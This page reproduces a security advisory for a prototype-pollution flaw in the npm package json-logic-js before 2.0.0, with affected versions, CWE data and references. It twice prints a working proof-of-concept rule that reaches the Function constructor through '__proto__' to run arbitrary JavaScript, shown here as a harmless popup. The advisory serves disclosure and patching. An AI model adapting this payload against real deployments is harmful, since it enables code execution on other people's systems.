GHSA-M9HW-7XFV-WQG7

Vulnerability from github – Published: 2020-11-12 19:36 – Updated: 2020-11-12 19:35
VLAI?
Summary
Prototype Pollution in json-logic-js
Details

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "json-logic-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-11-12T19:35:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.\n\nThe following rule creates a popup when run from a browser:\n```\n{\n  \"method\": [\n    {\n      \"method\": [\n        {\n          \"var\": \"__proto__.constructor.is.__proto__\"\n        },\n        \"constructor\",\n        [\n          \"var x = \u0027SECURITY!\u0027; console.log(x, window.fetch); alert(x)\"\n        ]\n      ]\n    },\n    \"call\"\n  ]\n}\n```",
  "id": "GHSA-m9hw-7xfv-wqg7",
  "modified": "2020-11-12T19:35:53Z",
  "published": "2020-11-12T19:36:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jwadhams/json-logic-js/commit/fadfa5dc7ccd1cc5c9a1900a97a15af390bf642b"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1542"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/json-logic-js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution in json-logic-js"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.